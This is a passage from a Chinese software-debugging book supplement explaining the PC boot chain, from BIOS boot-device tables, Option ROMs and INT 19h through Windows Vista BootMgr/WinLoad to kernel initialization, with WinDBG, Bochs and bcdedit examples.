字段用来记录它所描述的引导设备的状态信息,使用不同的二进制位代表不同的状态,图 2 画出了各个位域,Old Position 位域(bit 3..0)代表上次引导时这个表项在 IPL 表中的索 引,Enabled 位域(位 8)用来启用(1)或禁止(0)这个表项,Failed 位域(位 9)为 1 代表已经尝试过使用该表项而且得到了失败的结果,Media Present 位域(位 11..10)的典 型用途是描述驱动器是否有可引导的媒介(光盘、磁盘),0 代表没有,1 代表未知,2 代 表有媒介,而且看起来可以引导。 图 3 IPL 表的状态标志字段(statusFlag)的位定义 《软件调试》补编 - 154 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 从编程的角度来看,可以使用下面的数据结构来描述 IPL 表的表项: struct ipl_entry { Bit16u deviceType; Bit16u statusFlags; Bit32u bootHandler; Bit32u descString; Bit32u expansion; }; 在 EFI(Extensible Firmware Interface)中,使用 BBS_TABLE 结构来描述 IPL 设备, 希望了解其具体定义的读者可以到 http://www.uefi.org/下载详细文档。 引导设备分类 引导设备分类 引导设备分类 引导设备分类 BBS 将引导设备划分为以下三种类型: BAID – 即 BIOS 知道的 IPL 设备(BIOS Aware IPL Device),也就是说 BIOS 中已经 为这样的设备准备了支持引导的代码。第一个软驱、第一个硬盘、ATAPI 接口的光驱 等都属于这一类型。 传统设备 – 是指带有 Option ROM(见下文)但没有 PnP 扩展头的标准 ISA 设备。例 如已经过时的通过 ISA 卡连接到系统中的 SCSI 硬盘控制器。 PnP 设备 – 是指符合 PnP BIOS 规约(Plug and Play BIOS Specification)的即插即用 设备。 因为第二类设备已经很少见,所以我们重点介绍一下从另两类设备引导的方法。 从即插即用 从即插即用 从即插即用 从即插即用( ( ( (PnP) ) ) )设备引导 设备引导 设备引导 设备引导 这需要先了解什么是 Option ROM。所谓 Option ROM 就是在位于 PCI 或者 ISA 设备 上的只读存储器,因为这个存储器不是总线标准规定一定要实现的,所以叫 Option ROM (可选实现的 ROM)。Option ROM 里面通常存放着用于初始化该设备的数据和代码。显 卡和网卡等设备上通常带有 Option ROM。 PnP BIOS 规约详细定义了 Option ROM 的格式。简单来说,在它的开始处,总是一个 固定结构的头结构,称为 PnP Option ROM Header,为了行文方便,我们将其简称为 PORH。 在 PORH 的偏移 18h 和 1Ah 处可以指向另外两个结构,分别称为 PCI 数据结构和 PnP 扩 展头结构(PnP Expansion Header),我们将其简称为 PEH。PEH 中有一个起到链表作用的 Next 字段(偏移 06h,长度为 WORD)用来描述下一个扩展结构的偏移。 《软件调试》补编 - 155 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 图 4 PnP 设备 Option ROM 中的头结构 首先,所有的 Option ROM 的头两个字节都是 0xAA55,因此在调试时可以通过这个 签名来搜索或者辨别 Option ROM 的头结构。另外,PC 标准规定,0xC0000 到 0xEFFFF 这段物理内存地址空间是供 Option ROM 使用的。 在图 4 中,以黄颜色标出的向量字段与引导有着比较密切的关系,下面分别作简单介 绍: 初始化向量 初始化向量 初始化向量 初始化向量 – 系统固件在引导前会通过远调用执行这个地址所指向的代码,这就是 通常所说的执行 Option ROM。Option ROM 得到执行后,除了做初始化工作外,如果 该设备希望支持引导,那么可以通过改写(Hook)系统的 INT 13h(用于读写磁盘的 软中断)和输入设备来实现,上面提到过的传统 SCSI 硬盘就是这样做的。对于 PnP 设备,应该使用下面的 BCV 或者 BEV 方法。 引导连接向量 引导连接向量 引导连接向量 引导连接向量( ( ( (Boot Connect Vector) ) ) ) - 这个向量可以指向 Option ROM 中的一段代 码(通过相对于 Option ROM 起始处的偏移),当这段代码被 BIOS 调用后,它可以根 据需要改写(Hook)INT 13h。 引导入口向量 引导入口向量 引导入口向量 引导入口向量( ( ( (Boot Entry Vector) ) ) ) – 用来指向可以加载操作系统的代码的入口, 当系统准备从这个设备引导时,那么会执行这个向量所指向的代码。下面介绍的从网 卡通过 PXE 方式启动就是使用的这种方法。 图 5 所示的是网卡设备的 Option ROM 内容,第 1 列是内存物理地址,后面四列是这 第一地址起始的 16 字节数据(以 DWORD 格式显示,每 4 字节一组)。图中第一个黄颜 色方框包围起来的 32 字节是 PORH 结构,它的 0x1A 偏移处的值 0x60 代表的是 PEH 结 构的偏移,因此下面的方框包围起来的便是这个扩展结构。 《软件调试》补编 - 156 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 图 5 观察 PnP 设备的引导入口向量 根据图 4,在 PEH 结构的 0x1A 处的两个字节便是 BEV 向量,也就是 0x0c04。因此, 当在 BIOS 中选择从这个网卡引导时,BIOS 在做好引导准备工作后,便会通过远调用来 执行 0xcb00:0c04 处的代码。在调试时,如果对这个地址设置断点,那么便会命中。 INT 19h 和 和 和 和 INT 18h BBS 还定义了两个软中断来支持引导,它们分别是发起引导的 INT 19h 和使用某一设 备引导失败后恢复重新引导的 INT 18h。 下面列出的是 BBS 中给出的 INT 19h 的伪代码。 IPLcount = current number of BAIDs and BEV devices at this boot. FOR (i = 0; i < IPLcount; ++i) currentIPL = IPL Priority[i]. Use currentIPL to index the IPL Table entry. Do a far call to the entry's boot handler or BEV. IF (control returns via RETF, or an INT 18h) Clean up the stack if necessary. ENDIF Execute an INT 18h instruction. 其中,第 5 行的远调用便是把执行权交给了用于引导当前 IPL 设备的过程,如果这个 调用成功,那么便永远不会返回。 下面是 INT 18h 的伪代码。 Reset stack. IF (all IPL devices have been attempted) Print an error message that no O/S was found. Wait for a key stroke. Execute the INT 19h instruction. ELSE Determine which IPL device failed to boot. Jump to a label in the INT 19h handler to try the next IPL device. ENDIF 需要说明的是,上面的伪代码完全是示意性的,实际的 BIOS 实现会更复杂而且可能 有所不同。 《软件调试》补编 - 157 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 使用 使用 使用 使用 Bochs 调试引导过程 调试引导过程 调试引导过程 调试引导过程 除了可以使用 ITP 这样的硬件调试器来调试引导过程外,某些情况下,也可以使用虚 拟机来调试。具体来说就是把要调试的固件(BIOS 或者 EFI)文件配置到虚拟机中,然 后利用虚拟机管理软件的调试功能来调试。例如,Bochs 虚拟机便具有这样的功能。Bochs 目前是一个开源的项目,可以从它的网站 http://bochs.sourceforge.net/上下载安装文件和源 代码。 图 6 中的屏幕截图便是使用 Bochs 调试的场景,大的窗口是虚拟机,重叠在大窗口上 的小窗口是 Bochs 的控制台,在里面可以输入各种调试命令。图中显示的是设置在 INT 19h 入口处(0xf000:e6f2)的断点命中时的状态。 图 6 使用 Bochs 调试引导过程 使用 xp 0x19*4 可以显示中断向量表中 INT 19h 所对应的内容,即 0xf000e6f2,其中 高 16 位是段地址,低 16 位是偏移。值得说明的是,大多数 BIOS 中的 INT 19h 的入口地 址都与此相同。知道了地址后,就可以使用 pb 0xfe6f2 来设置断点,其中 0xfe6f2 是 0xf000:e6f2 这个实模式地址对应的物理地址,其换算方法是把 0xf000 左移 4 个二进制位 (相当于在十六进制数的末尾加一个 0),然后加上偏移。 顺便说一下,在 Bochs 项目中,实现了一个简单的 BIOS,其主要代码都位于 rombios.c 文 件 , 通 过 下 面 的 链 接 可 以 访 问 到 这 个 文 件 : http://bochs.sourceforge.net/cgi-bin/lxr/source/bios/rombios.c 想学习 BIOS 的读者,可以仔细 读一下这个文件,这是深刻理解 BIOS 的很有效方法。 0x7c00—— —— —— ——新的起点 新的起点 新的起点 新的起点 对于大多数时候使用从 BAID 设备引导,BIOS 中的支持函数会从设备(磁盘)的约 定位置读取引导扇区,存放到内存中 0x0000:7c00 这个位置,然后把控制权转交过去。转 交时会通过 DL 寄存器传递一个参数,这个参数用来指定磁盘号码,00 代表 A 盘,0x80 《软件调试》补编 - 158 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 代表 C 盘。接下来的引导代码在通过 INT 13h 来访问磁盘时,应该使用这个参数来指定要 访问的磁盘。 因为从磁盘引导时,BIOS 一定会把控制权移交到 0x7c00 这个地址,所以在调试时可 以在这个位置设置断点,开始分析和跟踪。表 2 列出了其它一些固定的 BIOS 入口地址。 表 2 BIOS 兼容入口点 地址 用途 0xf000:e05b POST 入口点 0xf000:e2c3 不可屏蔽中断(NMI)处理函数入口点 0xf000:e3fe INT 13h 硬盘服务入口点 0xf000:e401 硬盘参数表 0xf000:e6f2 INT 19h(引导加载服务)入口点 0xf000:e6f5 配置数据表 0xf000:e739 INT 14h 入口点 0xf000:e82e INT 16h 入口点 0xf000:e987 INT 09h 入口点 0xf000:ec59 INT 13h 软盘服务入口点 0xf000:ef57 INT 0Eh(Diskette Hardware ISR)入口点 0xf000:efc7 软盘控制器参数表 0xf000:efd2 INT 17h(打印机服务)入口点 0xf000:f065 INT 10h(显示服务)入口点 0xf000:f0a4 MDA/CGA 显示参数表 (INT 1Dh) 0xf000:f841 INT 12h(内存大小服务)入口点 0xf000:f84d INT 11h 入口点 0xf000:f859 INT 15h(系统服务)入口点 0xf000:fa6e 低 128 个字符的图形模式字体 0xf000:fe6e INT 1Ah(时间服务)入口点 0xf000:fea5 INT 08h(System Timer ISR)入口点 0xf000:fef3 POST 用这个值来初始化中断向量表 0xf000:ff53 只包含 IRET 指令的 dummy 中断处理过程 0xf000:ff54 INT 05h(屏幕打印服务)的入口点 0xf000:fff0 CPU 复位后的执行起点 0xf000:fff5 构建日期,按 MM/DD/YY 格式,共 8 个字符 0xf000:fffe 系统型号 另外,地址 0x0040:0000 开始的 257 个字节是所谓的 BIOS 数据区(BIOS Data Area), 简称 BDA,里面按固定格式存放了 BIOS 向后面的引导程序和操作系统移交的信息。 下一期的问题: 一台 PC 系统开机后显示 Windows could not start because of a general computer hardware configuration problem.,对于这样的问题有哪些方法来调试和解决?(注:上期的 问题留到下一期给出答案) 《软件调试》补编 - 159 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 步步为营——如何调试操作系统加载阶 段的故障 上一期我们介绍了系统固件(BIOS)寻找不同类型的引导设备的方法,描述了固件 向引导设备移交执行权的过程。对于从硬盘引导,首先接受控制权的是位于硬盘的 0 面 0 道 0 扇区中的主引导记录(Main Boot Record),简称 MBR。MBR 一共有 512 个字节,起 始处为长度不超过 446 字节的代码,然后是 64 个字节长的分区表,最后两个字节固定是 0x55 和 oxAA。MBR 中的代码会在分区表中寻找活动的分区,找到后,它会使用 INT 13h 将活动分区的引导扇区(Boot Sector)加载到内存中,加载成功后,将执行权移交过去。 按照惯例,引导扇区也应该被加载到 0x7C00 这个内存位置,所以 MBR 代码通常会先把 自己复制到 0x600 开始的 512 个字节,以便给引导扇区腾出位置。也正是因为这个原因, 当使用虚拟机或者 ITP 调试时,如果在 0x7C00 处设置断点,那么这个断点通常会命中两 次。引导扇区的内容是和操作系统相关的,在安装操作系统时,操作系统的安装程序会设 置好引导扇区的内容。引导的职责通常是加载操作系统的加载程序(OS Loader)。OS Loader 得到控制权后,再进一步加载操作系统的内核和其它程序。本期我们就以 Windows Vista 操作系统为例谈一谈 OS Loader 的工作过程以及如何调试这一阶段的问题。 切换工作模式 切换工作模式 切换工作模式 切换工作模式 我们知道,对于 x86 CPU 来说,不管它是否支持 32 位或 64 位,在它复位后都是处 于 16 位的实地址模式。在 BIOS 阶段,CPU 可能被切换到保护模式,但是在 BIOS 把控 制权移交给主引导记录前,它必须将 CPU 恢复回实模式,这是一直保持下来的传统。对 于使用 EFI 固件的系统,固件可以在保护模式下把控制权移交给操作系统的加载程序。但 本文仍旧讨论传统的方式。 因为实模式下的每个段最大只有 64K,而且只能直接访问 1MB 的内存,这个空间是 无法容纳今天的主流操作系统的核心文件的,所以 OS Loader 首先要做的一件事就是把 CPU 切换到可以访问更大空间的保护模式。 在切换到保护模式前,应该先建立好全局描述符表(GDT)和中断描述符表(IDT)。 通常在 OS Loader 阶段不会开启 CPU 的分页机制(Paging),而且描述符表中的每个段的 基地址通常都设置为 0,界限设置为 0xFFFFFFFF,这样便可以在程序中自由访问 4GB 的 地址空间,而且线性地址的值就等于物理地址的值,这里使用内存空间的方法就是所谓的 平坦模式(Flat Model)。以Windows Vista操作系统为例,它的引导管理器程序BootMgr.EXE 内部既有 16 位代码又有 32 位代码,16 位代码先执行,在验证文件的完好后,会切换到 保护模式,并把内嵌的 32 位程序映射到 0x400000 开始的内存区,然后把控制权移交给 32 位代码的起始函数 BmMain。此时观察 CR0 寄存器,可以看到代表保护模式的位 0 已 经为 1。 kd> r cr0 《软件调试》补编 - 160 – Copyright © 2009 ADVDBG.ORG All Rights Reserved cr0=00000013 但是代表分页机制的位 31 为 0,说明没有启用分页。观察代码段和数据段的段描述 符: kd> dg cs P Si Gr Pr Lo Sel Base Limit Type l ze an es ng Flags ---- -------- -------- ---------- - -- -- -- -- -------- 0020 00000000 ffffffff Code RE Ac 0 Bg Pg P Nl 00000c9b kd> dg ds P Si Gr Pr Lo Sel Base Limit Type l ze an es ng Flags ---- -------- -------- ---------- - -- -- -- -- -------- 0030 00000000 ffffffff Data RW Ac 0 Bg Pg P Nl 00000c93 可见,它们的基地址都是 0,边界都是 0xFFFFFFFF,这正是平坦模式的典型特征。 分别使用 dd 命令和!dd(观察物理地址)观察同一个地址值: kd> dd idtr l4 0001f080 00500390 00008f00 002073b0 00448e00 kd> !dd idtr l4 # 1f080 00500390 00008f00 002073b0 00448e00 显示的内容是一样的,这说明线性地址与它所对应的物理地址的值是相等的。 休眠 休眠 休眠 休眠( ( ( (Hibernation) ) ) )支持 支持 支持 支持 在执行 BlImgQueryCodeIntegrityBootOptions 函数和 BmFwVerifySelfIntegrity 函数对自 身的完整性做进一步检查后,BootMgr 会调用 BmResumeFromHibernate 检查是否需要从休 眠(Hibernation)中恢复,如果需要,那么它会加载 WinResume.exe,并把控制权移交给 它。 显示启动菜单 显示启动菜单 显示启动菜单 显示启动菜单 BootMgr 会从系统的引导配置数据(Boot Configuration Data,简称 BCD)中读取启动 设置信息,如果有多个启动选项,那么它会显示出启动菜单。清单 1 中的栈回溯显示的便 是 BootMgr 在显示启动菜单后等待用户选择时的状态。 清单 1 等待用户选择启动项 kd> kn # ChildEBP RetAddr 00 00061e34 00432655 bootmgr!DbgBreakPoint 01 00061e44 00431c24 bootmgr!BlXmlConsole::getInput+0xe 02 00061e90 00402e8f bootmgr!OsxmlBrowser::browse+0xe0 03 00061e98 00402b5e bootmgr!BmDisplayGetBootMenuStatus+0x13 04 00061f10 004017ce bootmgr!BmDisplayBootMenu+0x174 05 00061f6c 00401278 bootmgr!BmpGetSelectedBootEntry+0xf8 06 00061ff0 00020a9a bootmgr!BmMain+0x278 WARNING: Frame IP not in any known module. Following frames may be wrong. 07 00000000 f000ff53 0x20a9a 08 00000000 00000000 0xf000ff53 栈帧 6 中的 BmMain 便是 BootMgr 的 32 位代码的入口函数,栈帧 4 中的 BmDisplayBootMenu 是显示启动菜单的函数,栈帧 7 和 8 是在实模式中执行时的痕迹。 《软件调试》补编 - 161 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 执行用户选择的启动项 执行用户选择的启动项 执行用户选择的启动项 执行用户选择的启动项 当用户选择一个启动选项后,BootMgr 会调用 函数来准备引导对应的操作系统。如 果系统上有 Windows XP 或者更老的 Windows,而且用户选择了这些项,那么 BootMgr 会加载 NTLDR 来启动它们。如果用户选择的是 Windows Vista 的启动项,那么 BootMgr 会寻找和加载 WinLoad.exe,如果没有找到或者在检查文件的完整性时发现问题,那么 BootMgr 会显示出图 1 所示的错误界面。 在成功加载 WinLoad.exe 后,BootMgr 会为其做一系列其它准备,包括启用新的 GDT 和 IDT,然后调用平台相关的控制权移交函数把执行权移交给 WinLoad。在 x86 平台中, 完成这一任务的是 Archx86TransferTo32BitApplicationAsm 函数。至此,BootMgr 完成使命, WinLoad 开始工作。 加载系统核心文件 加载系统核心文件 加载系统核心文件 加载系统核心文件 WinLoad 的主要任务是把操作系统内核加载到内存,并为它做好“登基”的准备。它 首先要做的一件事就是进一步改善运行环境,启用 CPU 的分页机制。然后初始化自己的 支持库,如果启用了引导调试支持(稍后介绍),那么它会初始化调试引擎。 图 1 加载 WinLoad.exe 失败时的错误提示 接下来 WinLoad 会读取启动参数,决定是否显示高级启动菜单,高级菜单中含有以 安全模式启动等选项,也叫 Windows Error Recovery 菜单。如果用户按了 F8 或者上次没 有正常关机,那么 WinLoad 便会显示高级启动菜单。 接下来要做的一个重要工作是读取和加载注册表的 System Hive,因为其中包含了更 多的系统运行参数,负责这项工作的是 OslpLoadSystemHive 函数。 做好以上工作后,WinLoad 开始它的核心任务,那就是加载操作系统的内核文件和引 导类型的设备驱动程序。它首先加载的是 NTOSKRNL.EXE,这个文件包含了 Windows 操作系统的内核和执行体。此时真正的磁盘和文件系统驱动程序还没有加载进来,所以 WinLoad 是使用它自己的文件访问函数来读取文件的。例如,FileIoOpen 函数便是用来打 开一个文件的, 如果 FileIoOpen 打开文件失败,那么调用它的 BlpFileOpen 函数会返回错误码 0C000000Dh,否则返回 0 代表成功。 《软件调试》补编 - 162 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 其中,PSHED.DLL 用于支持 WHEA(Windows Hardware Error Architecture)(《软件 调试》第 17 章有详细介绍),HAL.DLL 是硬件抽象层模块,BOOTVID.DLL 用于引导期 间和发生蓝屏时的显示,KDCOM.DLL 用于支持内核调试,CLFS.SYS 是支持日志的内核 模块,CI.DLL 是用于检查模块的完整性的(Code Integrity)。 加载好系统模块后,WinLoad 还需要加载引导类型(Boot Type)的设备驱动程序,在 安装驱动程序时,每个驱动程序都会指定启动类型(Start Type),这个设置决定了驱动程 序的加载时机,指定为引导类型的驱动程序是最先被加载的。 接下来加载的是硬件抽象层模块 HAL.DLL,支持调试的 KDCOM.DLL 和它们的依赖 模块。使用 Depends 工具可以观察一个 PE 模块所依赖的其它模块,例如,图 2 显示出了 内核文件 NTOSKRNL.EXE 所依赖的其它模块。 图 2 使用 DEPENDS 工具观察 NTOSKRNL.EXE 所依赖的其它模块 如果在加载以上程序模块或者注册表的过程中找不到需要的文件或者在检查文件的 完整性时发现异常,那么 WinLoad 便会提示错误而停止继续加载,我们在 08 年第 11 期 中提到的问题便是与此有关的。当遇到这样的问题时,可以使用安装光盘引导,然后恢复 丢失或者被破坏的文件。 完成模块加载后,WinLoad 开始准备把执行权移交给内核,包括为内核准备新的 GDT 和 IDT(OslArchpKernelSetupPhase0)和建立内存映射(OslBuildKernelMemoryMap)等。 所有准备工作做完后,WinLoad 调用 OslArchTransferToKernel 函数把供内核使用的 GDT 和 IDT 地址加载到 CPU 中,然后调用内核的入口函数,正式把控制权移交个内核。 启用调试选项 启用调试选项 启用调试选项 启用调试选项 Windows Vista 的 BootMgr 和 WinLoad 程序内部都集成了调试引擎,不管是 Checked 版本还是 Free 版本,对于 Free 版本,默认是禁止的,使用时需要开启,具体做法如下: 如果要启用 BootMgr 中的调试引擎,那么应该在一个具有管理员权限的控制台窗口中 《软件调试》补编 - 163 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 执行如下命令: 《软件调试》补编 - 164 – Copyright © 2009 ADVDBG.ORG All Rights Reserved bcdedit /set {bootmgr} bootdebug on bcdedit /set {bootmgr} debugtype serial bcdedit /set {bootmgr} debugport 1 bcdedit /set {bootmgr} baudrate 115200 以上命令是使用串行口作为主机和目标机之间的通信方式,如果使用其它方式,那么 应该设置对应的参数。 如果要启用 WinLoad 程序中的调试引擎,那么应该先找到它所对应的引导项的 GUID 值,然后执行如下命令: bcdedit /set {GUID} bootdebug on 启用调试引擎并连接通信电缆后,在主机端运行 WinDBG 工具,便可以进行调试了, 栈回溯、访问内存、访问寄存器等内核调试命令都可以像普通内核调试一样使用。 Windows Vista 之前的情况 之前的情况 之前的情况 之前的情况 在 Vista 之前,NTLDR 是 Windows 操作系统的加载程序。因为只有 Checked 版本的 NTLDR 才支持调试,所以如果要调试加载阶段的问题,应该先将 NTLDR 替换为 Checked 版本。DDK 中通常包含有 Checked 版本的 NTLDR 程序。记住,在替换前,应该先去除 NTLDR 文件的系统、隐藏和只读属性,在更换后,要加上这些属性,否则的话引导扇区 中的代码会报告 NTLDR is missing 错误,无法继续启动。 除了加载内核和引导类型的驱动程序外,NTLDR 会调用 NTDETECT.COM 来做基本 的硬件检查并搜集硬件信息。NTDETECT 会把搜集到的信息存放到注册表中。如果找不 到 NTDETECT.COM,那么通常会直接重启,如果 NTDETECT 发现系统缺少必须的硬件 或固件支持,比如 ACPI 支持,那么会显示因为硬件配置问题而无法启动,也就是我们上 一期所提问的问题。对于这样的问题,可以尝试更改 BIOS 选项来解决,或者通过调试 NTLDR 来进一步定位错误原因。 恢复缺失文件 恢复缺失文件 恢复缺失文件 恢复缺失文件 可以使用如下方法之一来尝试恢复丢失或者损坏的系统文件: 15. 启动时按 F8,调出高级启动菜单,尝试选择 Last Known Good Configuration(LKG)。 16. 启动时按 F8,在高级启动菜单中选择安全模式(Safe Mode),如果成功启动后,那么 可以尝试执行 CHKDSK 命令检查和修复磁盘,或者从安装光盘中恢复缺失的文件。 17. 使用 Windows 安装光盘引导,并记入到恢复控制台(Recovery Console)界面。对于 Windows XP,在安装程序的主界面中按 R 键进入文本界面的恢复控制台,进入时输 入管理员密码。对于 Windows Vista,从安装光盘启动后,可以进入图形界面的系统 恢复向导(图 3)。如果是 MBR 或者引导分区损坏,那么 Windows XP 的恢复控制台 中提供了 FIXMBR 和 FIXBOOT 命令。而 Vista 的恢复向导中包含了自动修复功能。 《软件调试》补编 - 165 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 图 3 Windows Vista 安装光盘上的系统恢复程序 18. 如果系统硬盘的个数或者有所变化,那么可能是因为分区编号变化而导致系统无法找 到文件,这时可以考虑恢复旧的磁盘和分区配置,或者启动到恢复控制台来修改系统 的启动配置文件,对于 Vista,需要修改 BCD,对于 Vista 之前的系统,也就是修改 BOOT.INI 文件。 对于第 11 期的问题,天津的黄小非读者给出了非常好的答案,他的来信中给出了多 种方法,包括使用控制台,使用 Windows Preinstallation Environment(WinPE)以及修改 BOOT.INI。其实 Vista 的恢复界面就是运行在 WinPE 中的。从黄小非的来信中,我们可以 看出他的实践经验很丰富。 下一期的问题: 系 统 启 动 后 很 快 出 现 蓝 屏 , 其 中 含 有 STOP 0x0000007B INACCESSABLE_BOOT_DEVICE,哪些原因会导致这样的问题,该如何来解决? 《软件调试》补编 - 166 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 百废待兴——如何调试内核初始化阶段 的故障 上一期我们介绍了加载操作系统的过程。简单来说,负责加载操作系统的加载程序 (OS Loader)会把系统内核模块、内核模块的依赖模块、以及引导类型的驱动程序加载 到内存中,并为内核开始执行准备好基本的执行环境。这些工作做好后,加载程序会把执 行权移交给内核模块的入口函数,于是操作系统的内核模块就开始执行了。在今天的软件 架构中,操作系统承担着统一管理系统软硬件资源的任务,可以说是整个系统的统帅。内 核模块是操作系统的核心部分,像任务调度、中断处理、输入输出等核心功能就是实现在 内核模块中的。因此,内核模块开始执行,标志着“漫长的”启动过程进入到了一个新的 阶段,系统的统帅走马上任了。虽然前面已经做了很多准备工作,但是对于一个典型的多 任务操作系统来说,要建设出一个可以运行各种应用程序的多任务环境来,还有很多事情 要做,可谓是百废待兴。本期我们仍以 Windows 操作系统为例谈一谈系统内核和执行体 初始化(简称内核初始化)的过程以及如何调试这一阶段的问题。 入口函数 入口函数 入口函数 入口函数 Windows 程 序 的 入 口 函 数 地 址 是 登 记 在 可 执 行 文 件 的 头 结 构 中 的 , 也 就 是 IMAGE_OPTIONAL_HEADER 结构的 AddressOfEntryPoint 字段。内核文件的入口函数也 是如此。通过下面几个步骤就可以使用 WinDBG 观察到内核文件的入口函数。先启动 WinDBG,并开始一个本地内核调试对话,使用 lm nt 命令列出内核文件的基本信息: lkd> lm a nt start end module name 804d7000 806cdc80 nt (pdb symbols) d:\symbols\ntkrnlpa.pdb\C…\ntkrnlpa.pdb 其中 804d7000 就是内核模块在内存中的起始地址。起始处是一个所谓的 DOS 头: dt nt!_IMAGE_DOS_HEADER 804d7000 +0x000 e_magic : 0x5a4d … +0x03c e_lfanew : 232 其中 e_lfanew 字段的值代表的是新的 NT 类型可执行文件的头结构的起始偏移地址。 lkd> dt nt!_IMAGE_NT_HEADERS 804d7000+0n232 +0x000 Signature : 0x4550 +0x004 FileHeader : _IMAGE_FILE_HEADER +0x018 OptionalHeader : _IMAGE_OPTIONAL_HEADER 现在可以知道 804d7000+0n232+18 处便是_IMAGE_OPTIONAL_HEADER 结构,于 是可以使用下面的命令来显示出 AddressOfEntryPoint 字段的值: lkd> dt _IMAGE_OPTIONAL_HEADER -y Add* 804d7000+0n232+18 nt!_IMAGE_OPTIONAL_HEADER +0x010 AddressOfEntryPoint : 0x1b6f5c 上面显示的 AddressOfEntryPoint 字段的值 0x1b6f5c 便代表着内核文件的入口函数在 模块中的偏移,加上模块的基地址便可以得到入口函数的线性地址,使用 ln 命令查找这 个地址对应的符号: 《软件调试》补编 - 167 – Copyright © 2009 ADVDBG.ORG All Rights Reserved lkd> ln 0x1b6f5c+804d7000 (8068df5c) nt!KiSystemStartup | (8068e244) nt!KiSetCR0Bits Exact matches: nt!KiSystemStartup = <no type information> 这表明入口地址处的函数名为 KiSystemStartup,实际上,它就是 NT 系统 Windows 操作系统的内核文件一直使用的入口函数。 上面我们介绍的是使用类型显示命令一步步观察,当然也可以使用扩展命令!dh 一下 子显示出以上信息: lkd> !dh 804d7000 -f File Type: EXECUTABLE IMAGE … 1B6F5C address of entry point 当 OS Loader(NTLDR 或 WinLoad)调用 KiSystemStartup 时,它会将启动选项以一 个名为 LOADER_PARAMETER_BLOCK 的数据结构传递给 KiSystemStartup 函数。 Windows Vista 的内核符号文件包含了这个结构的符号,因此在对 Windows Vista 做内核调 试时可以观察到这个结构的详细定义。 内核初始化 内核初始化 内核初始化 内核初始化 KiSystemStartup 函数开始执行后,它首先会进一步完善基本的执行环境,包括建立和 初始化处理器控制结构(PCR)、建立任务状态段(TSS)、设置用户调用内核服务的 MSR 寄存器等。在这些基本的准备工作完成后,接下来的过程可以分为图 1 所示的左右两个部 分。左侧为发生在初始的启动进程中的过程,这个初始的进程就是启动后的 Idle 进程。右 侧为发生在系统进程(System)中的所谓的执行体阶段 1 初始化过程。 图 1 Windows 启动过程概览 首先我们来看 KiSystemStartup 函数的执行过程,它所做的主要工作有: 一、调用 HalInitializeProcessor()初始化 CPU。 《软件调试》补编 - 168 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 二、调用 KdInitSystem 初始化内核调试引擎,我们稍后将详细介绍这个函数。 三、调用 KiInitializeKernel 开始内核初始化,这个函数会调用 KiInitSystem 来初始化 系 统 的 全 局 数 据 结 构 , 调 用 KeInitializeProcess 创 建 并 初 始 化 Idle 进 程 , 调 用 KeInitializeThread 初始化 Idle 线程。 对于多 CPU 的系统,每个 CPU 都会执行 KiInitializeKernel 函数,但只有第一个 CPU 会执行其中的所有初始化工作,包括全局性的初始化,其它 CPU 会只执行 CPU 相关的部 分。比如只有 0 号 CPU 会调用和执行 KiInitSystem,初始化 Idle 进程的工作也只有 0 号 CPU 执行,因为只需要一个 Idle 进程,但是因为每个 CPU 都需要一个 Idle 线程,所以每 个 CPU 都会执行初始化 Idle 线程的代码。KiInitializeKernel 函数使用参数来了解当前的 CPU 号。全局变量 KeNumberProcessors 标志着系统中的 CPU 个数,其初始值为 0,因此 当 0 号 CPU 执行 KiSystemStartup 函数时,KeNumberProcessors 的值刚好是当前的 CPU 号。 当第二个 CPU 开始运行时,这个全局变量会被递增 1,因此 KiSystemStartup 函数仍然可 以 从 这 个 全 局 变 量 了 解 到 CPU 号 , 依 此 类 推 , 直 到 所 有 CPU 都 开 始 运 行 。 ExpInitializeExecutive 函数的第一个参数也是 CPU 号,在这个函数中也有很多代码是根据 CPU 号来决定是否执行的。 执行体的阶段 执行体的阶段 执行体的阶段 执行体的阶段 0 初始化 初始化 初始化 初始化 在 KiInitializeKernel 函数结束基本的内核初始化后,它会调用 ExpInitializeExecutive() 开始初始化执行体。如果把操作系统看作是一个国家机器,那么执行体便是这个国家的各 个行政机构。典型的执行体部件有进程管理器、对象管理器、内存管理器、IO 管理器等 等。考虑到各个执行体之间可能有相互依赖关系,所以每个执行体会有两次初始化的机会, 第一次通常是做基本的初始化,第二次做可能依赖其它执行体的动作。通常前者叫阶段 0 初始化,后者叫阶段 1 初始化。 ExpInitializeExecutive 的主要任务是依次调用各个执行体的阶段 0 初始化函数,包括 调用 MmInitSystem 构建页表和内存管理器的基本数据结构,调用 ObInitSystem 建立名称 空间,调用 SeInitSystem 初始化 token 对象,调用 PsInitSystem 对进程管理器做阶段 0 初 始化(稍后详细说明),调用 PpInitSystem 让即插即用管理器初始化设备链表。 下面我们仔细看一下进程管理器的阶段 0 初始化,它所做的主要动作有: 定义进程和线程对象类型。 建立记录系统中所有进程的链表结构,并使用 PsActiveProcessHead 全局变量指向这个 链表。此后 WinDBG 的!process 命令才能工作。 为初始的进程创建一个进程对象(PsIdleProcess),并命名为 Idle。 创建系统进程和线程,并将 Phase1Initialization 函数作为线程的起始地址。 注意上面的最后一步,因为它衔接着系统启动的下一个阶段,即执行体的阶段 1 初始 化。但是这里并没有直接调用阶段 1 的初始化函数,而是将它作为新创建系统线程的入口 函数。此时由于当前的 IRQL 很高,所以这个线程还得不到执行。在 KiInitializeKernel 函 数 返 回 后 , KiSystemStartup 函 数 将 当 前 CPU 的 中 断 请 求 级 别 ( IRQL ) 降 低 到 DISPATCH_LEVEL,然后跳转到 KiIdleLoop(),退化为 Idle 进程中的第一个 Idle 线程。当 再有时钟中断发生时,内核调度线程时,便会调度执行刚刚创建的系统线程,于是阶段 1 初始化便可以继续了。 《软件调试》补编 - 169 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 执行体的阶段 执行体的阶段 执行体的阶段 执行体的阶段 1 初始化 初始化 初始化 初始化 阶段 1 初始化占据了系统启动的大多数时间,其主要任务就是调用执行体各机构的阶 段 1 